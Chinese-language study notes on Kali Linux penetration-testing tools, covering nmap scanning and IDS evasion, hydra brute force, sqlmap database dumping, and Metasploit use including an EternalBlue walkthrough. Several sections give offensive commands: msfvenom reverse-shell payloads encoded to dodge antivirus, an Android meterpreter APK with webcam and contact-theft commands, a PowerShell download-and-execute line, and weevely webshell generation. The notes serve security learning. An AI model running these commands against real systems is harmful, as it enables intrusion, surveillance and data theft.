Kali Linux
official::Kali安装
视频
text::Ubuntu Linux
text::Web渗透工具
text::Web渗透
〇、靶机
靶机下载
靶机配置
vim /etc/network/interfaces (i) dhcp -> static address 192.168.1.180 netmask 255.255.255.0 gateway 192.168.1.1 (::wq) /etc/init.d/networking restart
|
一、Kali基础
1 补充命令
root权限:
查找文件:
locate <name>:查找所有文件(无db时用updatedb进行更新)
whereis <name>:查找二进制文件
which <name>:查找可执行文件
find [option] [path] [filename]:查找路径下文件
网络设置(图形化界面在右上角网络配置——右键):
ifconfig:网络配置
ip addr:网络信息
ip route:路由信息
其他命令:
whois <url>:收集信息
wegt <url>:文件下载
命令技巧:
strings <file> | grep <flag>:查询 file 中的关键字 flag
2 安装命令
Bashtop安装和使用
sudo apt-get update
apt-cache search <packet>
sudo apt-get install <packet>
kali-linux-full kali-linux-all kali-linux-forensic kali-linux-wireless
|
3 远程登录
开启ssh
sudo vim/leafpad /etc/ssh/sshd_config
PermitRootLogin prohibit-password yes PasswordAuthentication yes
/etc/init.d/ssh status /etc/init.d/ssh start /etc/init.d/ssh stop
|
4 MAC伪造
ifconfig wlan0 down
macchanger -r wlan0
macchanger -m 01:23:45:67:89:10 wlan0
ifconfig wlan0 up
|
5 OpenSSL
OpenSSL
生成和验证证书。
6 工具管理
/usr/share/applications/
/usr/share/applications/<name>.desktop
[Desktop Entry] Name=<name> Comment=<comment> Encoding=UTF-8 Exec=/usr/bin/<name> Icon=kali--menu StartupNotify=false Terminal=true Type=Application Categories=<categories>
|
二、Misc
1 binwalk
识别、提取等文件操作
| 签名扫描选项参数 |
作用 |
| -B,-签名 |
扫描目标文件的通用文件签名 |
| -R,-raw= |
扫描目标文件中指定的字节序列 |
| -A,-opcode |
s扫描目标文件中常见的可执行操作码签名 |
| -m,-magic= |
指定要使用的自定义魔术文件 |
| -b,-dumb |
禁用智能签名关键字 |
| -I,-invalid |
显示标记为无效的结果 |
| -x,-exclude= |
排除匹配< str >的结果 |
| -y,-include= |
仅显示匹配< str >的结果 |
| 提取选项参数 |
作用 |
| -e,-extract |
自动提取已知的文件类型 |
| -D,-dd= |
提取\签名(正则表达式),赋予文件扩展名\,然后执行\ |
| -M,-matryoshka |
递归扫描提取的文件 |
| -d,-depth= |
限制matryoshka递归深度(默认值:8级深度) |
| -C,-directory= |
将文件/文件夹提取到自定义(目录默认:当前工作目录) |
| -j,-size= |
限制每个提取文件的大小 |
| -n, count= |
限制解压缩文件的数量 |
| -0,-run-as= |
使用指定用户的权限执行外部提取实用程序 |
| -l,-preserve-symlinks |
不整理指向提取目录之外的提取的符号链接(危险) |
| -r,-rm |
提取后删除雕刻的文件 |
| -z |
从文件中提取数据,但不执行提取实用程序 |
| -V |
子目录提取到由偏移量命名的子目录中 |
| 熵选项参数 |
作用 |
| -E |
熵计算文件熵 |
| -F,-fast |
使用更快但不太详细的熵分析 |
| -J |
将保存图保存为PNG |
| -Q,-nlegend |
省略熵图中的图例 |
| -N,-N |
请勿生成熵绘图 |
| -H,-high= |
设置上升沿熵触发阈值(默认值:0.95) |
| -L,-low= |
设置下降沿熵触发阈值(默认值:0.85) |
| 二进制差异选项参数 |
作用 |
| -W,-hexdump |
对一个或多个文件执行hexdump / diff |
| -G,-green |
仅显示包含所有文件中相同字节的行 |
| -i,-red |
只显示包含所有文件中不同字节的行 |
| -U,-blue |
仅显示包含不同字节的行,这些字节在某些文件中是不同的 |
| -u,-similar |
仅显示所有文件之间相同的行 |
| -w,-terse |
区分所有文件,但只显示第一个文件的十六进制转储 |
| 原始压缩选项参数 |
作用 |
| -X,-deflate |
扫描原始deflate压缩流 |
| -Z,-lzma |
扫描原始lzma压缩流 |
| -P,-partial |
执行一次表面但更快的扫描 |
| -S,-stop |
在第一个结果后停止 |
| 常规选项参数 |
作用 |
| -l,-length= |
要扫描的字节数 |
| -o,-offset= |
在此文件偏移量处开始扫描 |
| -O,-base= |
向所有打印的偏移量添加基址 |
| -K,-block= |
设置文件块大小 |
| -g,-swap= |
扫描前每n个字节反转一次 |
| -f,- log= |
将结果记录到文件中 |
| -c,-csv |
将结果记录到csv格式的文件中 |
| -t,-term |
格式输出以适应终端窗口 |
| -q,-quiet |
抑制输出到stdout |
| -v,-verbose |
启用详细输出 |
| -h,-help |
显示帮助输出 |
| -a,-finclude= |
仅扫描名称与此regex匹配的文件 |
| -p,-fexclude= |
不扫描名称与此正则表达式匹配的文件 |
| -s,-status= |
在指定端口上启用状态服务器 |
binwalk <file>
sudo binwalk -e --run-as=root <file>
|
2 foremost
用于分离文件
| 选项 |
作用 |
| -h |
帮助 |
| -V |
显示版权信息并退出 |
| -t |
指定文件类型(-t jpeg,pdf…) |
| -d |
打开间接块检测(对于UNIX文件系统) |
| -i |
指定输入文件(默认为stdin) |
| -a |
写入所有标头,不执行错误检测(损坏的文件) |
| -w |
仅写入审核文件,不将任何检测到的文件写入磁盘 |
| -o |
设置输出目录(默认为输出) |
| -c |
设置要使用的配置文件(默认为foremost.conf) |
| -q |
启用快速模式。在512字节边界上执行搜索 |
| -Q |
启用安静模式。禁止输出消息 |
| -v |
详细模式。将所有消息记录到屏幕上 |
三、 信息收集
IP分析
1 定义
被动扫描:在对方未知的情况下完成扫描。
主动扫描:主动发包,看响应。
2 maltego
一键版信息收集(通过域名)
下载后会自动加入在【01-信息收集 】中
注册登入:CE版(注册要科学上网) :
使用:
- “+” 号(上)—— Domain(左)——L1 - L3(1:更快,3:更全)
3 sn0int
official::sn0int
模块开发与使用
工具集,可以自己开发模块(本身没有模块,需要自己添加)
sudo apt install debian-keyring gpg -a --export --keyring /usr/share/keyrings/debian-maintainers.gpg kpcyrd@archlinux.org | sudo tee /etc/apt/trusted.gpg.d/apt-vulns-sexy.gpg echo deb http://apt.vulns.sexy stable main | sudo tee /etc/apt/sources.list.d/apt-vulns-sexy.list sudo apt update sudo apt install sn0int
pkg quickstart
gpg --keyserver subkeys.pgp.net --recv <complete_key> gpg --export --armor <last_eight_key> | sudo apt-key add -
workspace <name>
add domain
select domains
noscope/delete domains where value=url
noscope/delete subdomains where value=url target
use ctlogs —— run
use dns-resolve —— run
use url-scan —— run
|
4 NMAP
author::【工具】nmap使用手册(文末送书)
1.1 主机发现
nmap -A 192.168.242.1
nmap -sP 192.168.242.1/24 nmap -sn 192.168.242.1/24
nmap -P0 192.168.242.1
nmap -PS -v 192.168.242.135 nmap -PS80(端口),10-100 -v 192.168.242.135
nmap -PA -v 192.168.242.135
nmap -PU -v 192.168.242.135
nmap -PE -v 192.168.242.135 nmap -PP -v 192.168.242.135 nmap -PM -v 192.168.242.135
nmap -PR -v 192.168.242.1
nmap -sL -v 192.168.242.1
nmap -n -sL -v 192.168.242.1
nmap -R -sL -v 192.168.242.1
nmap --system-dns 192.168.242.1 192.168.242.135
nmap -6 IPv6
nmap --traceroute -v www.sunbridgegroup.com
nmap -PY -v 192.168.1.103
|
1.2 端口扫描
端口详细状态
| 端口状态 |
作用 |
| open |
开放 |
| closed |
关闭 |
| filtered |
阻塞的,未到达。不确定开放(可能是自己主机开了防火墙) |
| unfiltered |
可访问但未知开放 |
| open | filtered |
nmap无法确认端口状态 |
| closed | filtered |
nmap无法确认端口状态 |
nmap -T(0-5) 192.168.242.1
nmap -p 80 192.168.242.1 nmap -p 80-100 192.168.242.1 nmap -p T:80,U:445 192.168.242.135 nmap -F 192.168.242.135 (快速扫描) nmap --top-ports 200 192.168.242.1 (扫描最有用的前200 个端口)
nmap -sS -v 192.168.242.135
nmap -sT -v 192.168.242.1
nmap -sU -p 80-100 192.168.242.135
nmap -sN 61.241.194.153(NULL 扫描) nmap -sF 61.241.194.153(FIN 扫描) nmap -sX 61.241.194.153(Xmas 扫描)
nmap -sA 192.168.242.1
nmap -sW -v -F 192.168.242.1
nmap -sM -T4 192.168.242.135
nmap -sT --scanflags SYNURG 192.168.242.1
nmap -sI www.0day.co:80 192.168.242.1
nmap -sO -T4 192.168.242.1
|
1.3 指纹识别与探测
nmap -sV 192.168.242.135 nmap -sV -A 192.168.241.135
nmap -sV --allports 192.168.242.135
nmap -sV --version-intensity (0-9) 192.168.242.135
nmap -sV --version-light 2 192.168.242.135
nmap -sV --version-all 192.168.242.135
nmap -sV --version-trace 192.168.242.135
nmap -sS -sR 192.168.242.135
nmap -O --osscan-limit 192.168.242.1
nmap -O --osscan-guess 192.168.242.1
|
1.4 伺机而动
nmap --min-hostgroup 30 192.168.242.1/24 nmap --max-hostgroup 30 902 192.168.242.1
nmap --min-parallelism 100 192.168.242.1 nmap --max-parallelism 100 192.168.242.1
nmap --initial-rtt-timeout 100ms 192.168.242.1 nmap --max-rtt-timeout 100ms 192.168.242.1 nmap --min-rtt-timeout 100ms 192.168.242.1
nmap --host-timeout 1800000ms 192.168.242.1
nmap --scan-delay 1s 192.168.242.1 nmap --max-scan-delay 1s 192.168.242.1
|
1.5 防火墙/IDS 逃逸
nmap -f -v 61.241.194.153
nmap --mtu 16 192.168.242.1
nmap -D RND:11 192.168.1.104 nmap -D 192.168.1.104,192.168.1.103,192.168.1.101 192.168.1.104
nmap -sI [www.0day.cn:80](http://www.0day.cn/) 192.168.1.104
nmap --source-port 902 192.168.1.104
nmap --data-length 30 192.168.1.104
nmap --randomize-hosts 192.168.1.104
nmap -sT -Pn --spoof-mac 0 192.168.1.104
|
1.6 信息搜集
nmap --script ip-geolocation-* www.pcos.cn
nmap --script whois-domain www.pcos.cn nmap --script whois-domain --script-args whois.whodb=nofollow www.ithome.com nmap -sn --script whois-domain -v -iL host.txt
nmap -sn --script hostmap-ip2hosts www.pcos.cn
nmap --script dns-brute www.pcos.cn nmap --script dns-brute dns-brute.threads=10 www.pcos.cn nmap --script dns-brute dns-brute.threads=10,dns-brute.hostlis www.pcos.cn
nmap -p 445 445 192.168.1.104 --script membase-http-info
nmap --script smb-security-mode.nse -p 445 119.29.155.45
nmap --script smb-check-vulns.nse -p 445 119.29.155.45
nmap -p80 --script http-stored-xss.nse/http-sql-injection.nse 119.29.155.45
nmap -sU -p 161 --script=snmp-win32-services 192.168.1.104 nmap -sU -f -p 161 --script=snmp-win32-users 192.168.1.110
nmap --script dns-brute --script-args dns-brute.domain=baidu.com
nmap -sV -p 80 www.0day.com(HTTP 版本探测) nmap -p 80 --script=http-headers www.pcos.cn (HTTP 信息头探测) nmap -p 80 --script=http-sitemap-generator www.pcos.cn (爬行Web 目录结构)
nmap -p 443 --script=ssl-enum-ciphers www.baidu.com
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 127.0.0.1
|
1.7 结果输出
nmap 192.168.223.129 -oX Report.xml
|
5 masscan
端口扫描
KaliLinux-masscan使用详解
masscan -p 80,21,3306,8888,8080 47.75.212.0/24
|
四、Web扫描
1 域名扫描
dirb:
dirsearch:
2 Web信息扫描
whatweb:
收集web相关信息
whatweb url:输出信息
-v:格式化输出
五、漏洞扫描
1 NMAP(主机漏洞)
脚本使用:
指定脚本:
sudo nmap --script ftp-vsftpd-backdoor 192.168.17.137
全面扫描:
sudo nmap --script vuln 192.168.17.137
更全面扫描:
2 zaproxy(Web漏洞)
sudo apt install zaproxy
手动扫描:firefox(上右)——找到网址——攻击(站点)——主动扫描——警报(查看结果)
3 rips-0.55(PHP代码审计)
official::RIPS
rips使用
该工具主要用于学习,实战需要更好的审计工具。
sudo mv -v rips-0.55 /var/www/html sudo service apache2 start
|
六、暴力破解
1 hydra
暴力破解工具。
official::hydra (github.com)
hydra -L users.txt -P password.txt ssh://ip hydra -L users.txt -P password.txt -vV ssh://ip
|
七、远程控制
1 木马分类
正向木马:被控端感染木马后,主控端需要主动扫描才可以得知并连接。(不易暴露,但不知道木马什么时候被感染)
反向木马:在木马中留下 IP 地址,当被控端感染木马后会主动连接主控端。
2 netcat(瑞士军刀)
nc命令教程
nc -v ip port:探测端口是否开放(出现结果后可以直接中断) nc ip port:远程控制
|
3 MSFPC(生成远控软件)
MSFPC:msf payload creator
msfpc <platform> <protocol> <ip>
msfconsole - q -r file.rc
|
4 msfvenom(生成远控软件,更全面)
-p / --payload <payload> -f / --format <format> -o / --out <path> -e <encode> -i <num>
msfvenom --list-options -p <payloads>
msfvenom -l encoders
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.157.156 lport=5000 -f exe -o /var/payload.exe
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.157.156 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_super -i 5 -f exe -o /var/payload.exe
sudo msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.104 lport=9999 R>/var/pentestAndroid9999.apk
msfconsole use exploit/multi/handler set payload set lhost set lport exploit
help
Webcam Commands web_cam_list webcam_snap <num> webcam_stream <num>
check_root dump_contacts geolocate
|
5 杀毒软件(upx加壳)
病毒在线检测
杀毒软件原理:
- 基于文件扫描的反病毒技术:检测二进制代码(检测硬盘),如果是病毒将加入特征库便于下次检测。
- 基于内存的反病毒技术:运行时发现,执行后的结构会与病毒特征匹配,匹配成功将不会被执行。
基于行为的反病毒技术:如果软件运行时执行的操作可疑(改注册表、控制进程等)将会被当成病毒查杀。
反杀毒方式:
改特征码。
- 添加花指令:添加无意义的指令改变特征码的位置。
- 程序加密:加壳,变成 PE 文件中的一串数据。(整个过程在加密过程中进行)
6 powerspolit
原理:被控端被控之后访问主控端的网站,利用被控端的 powershell 对被控端执行操作。
该程序主要用于搭建一个网站让被控端访问后控制被控端的 powershell,逃过杀毒软件的基于行为检测。
powerspolit —— python3 -m http.server <port>
iex(New-Object Net.webclient).DownloadString("url")
get-help <name>
AntivirusBypass——Find_AVSignature.ps1
CodeExectuion——Invoke-Dlllnjection.ps1
find-avsignature -StartByte <num> -EndByte <num> -Interval <num> -path <path> -outpath <path> Invoke-Dlllnjection.ps1 -ProcessID <ID> -DLL <path>
|
7 weevely(PHP恶意代码生成)
weevely generate <password> <path>
weeveky <url> <password>
help
|
八、sqlmap
1 参数
sqlmap超详细笔记+思维导图 - bmjoker - 博客园 (cnblogs.com)
-u/--url <url> --dbms <sql> --os <os> --os-cmd="xxx" --flush-session --is-dba --proxy --user-agent -data --level n --form --batch
sudo sqlmap -update
sudo apt-get install sqlmap
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
2 简单使用
python sqlmap -u <url> --is-dba
python sqlmap -u <url> --dbs --form --batch
python sqlmap -u <url> --current-db --form --batch
python sqlmap -u <url> -D 'DBname' --tables --form --batch
python sqlmap -u <url> -D 'DBname' -T 'table' --columns --form --batch
python sqlmap -u <url> -D 'DBname' -T 'table' -C 'column_1 , column_2' --dump --form --batch
python sqlmap -u <目标URL> --batch --crawl=1 --level=5 --risk=3 --dump-all --batch
python sqlmap -u "http://127.0.0.1/login.php?id=1"
python sqlmap -u "http://127.0.0.1/login.php" --data "id=1"
|
3 高级使用
python sqlmap.py -u <url> --tamper=base64encode.py
python sqlmap.py -u <url> --tamper=unmagicquotes.py
|
4 报错
Q1:报错:python: can't open file 'sqlmap': [Errno 2] No such file or directory
A1:是路径问题,解决如下:
cd /usr/bin
python sqlmap -u http://www.xxx.com
official::官网
1 msf 基础
路径:/usr/share/metasploit-framework
Metasploit 程序需要使用Postgresql数据库:
基础库:
metasploit基础库:文件位于源码根目录路径下的 libraries 目录中,包括 Rex,framework-core 和 framework-base 三部分。
Rex :是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgresQL以及 MySQL数据库支持等。
framework-core库:负责实现所有与各种类型的上层模块及插件的交互接口。
framework-base库:扩展了framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块。
模块:
- Aux(分为辅助模块):漏洞探测与扫描。
- Exploits(渗透攻击模块):渗透攻击。
- Post(后渗透攻击模块):shell 之后的进一步攻击。
- payloads(攻击载荷模块):用于攻击,程序注入,设置 shell。
- Encoders(编码器模块):编码。
- Nops(空指令模块):空指令。
插件作用:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如 Nessus、OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。
接口:
- msfconsole:控制终端。
- msfcli:命令行。
- msfgui:图形化界面。
- armitage:图形化界面。
- msfapi:远程调用接口。
功能程序:
| Rank可靠性级别 |
效果 |
| excellent |
漏洞利用程序绝对不会使目标服务崩溃,就像SQL注入、命令执行、远程文件包含、本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别 |
| great |
该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址 |
| good |
该漏洞利用程序有一个默认目标系统,并且是这种类型软件的”常见情况“(桌面应用程序的Windows 7,服务器的2012等) |
| normal |
该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测 |
| average |
该漏洞利用程序不可靠或者难以利用 |
| low |
对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于50%的利用成功率) |
| manual |
该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级 |
2 模块使用流程
操作系统攻击:
应用程序攻击:
- easyfilesharing——seh:http
客户机攻击:
help
show <name>
search <name>
show options
use <num>
info
sessions
show evasion
use <evasion>
show options
set payload
<exploits>
show options
set <options> <value>
set payload <payload>
exploit
back / exit
|
3 其他命令
4 查找命令
search <name> search name:<name> search port:<port> search path:<path> search platform:<name> search type:<cmd> search cve:CVE-2017-8464
search type:<name> name:<name> ...
info <name>
|
5 注意事项
msf 中的点是无法复制的(不可见的),要复制应到控制台中复制。
6 简单案例
使用流程:
- 查找CVE公布的漏洞
- 查找对应的exploit模块
- 添加模块参数
- 添加payload后门
- 执行exploit攻击
- 执行后续操作
# 永恒之蓝 use auxiliary/scanner/smb/smb_ms17_010 set rhosts [IP] use exploit/windows/smb/ms17_010_eternalblue set rhosts [IP] set payload windows/x64/shell_reverse_tcp exploit -j #-j 是在后台运行,不加成功后直接在前台执行 sessions sessions -i [ID] # 切换到指定ID的会话 background # 进入会话后输入。会话不断开继续保存在后台 sessions -k [ID] # 断开某个会话
|
十、内网穿透
原理:让外网可以访问内网。
给防火墙开个洞
1 负载均衡lbd探测
kali系统—-DNS收集分析之lbd_kali lbd-CSDN博客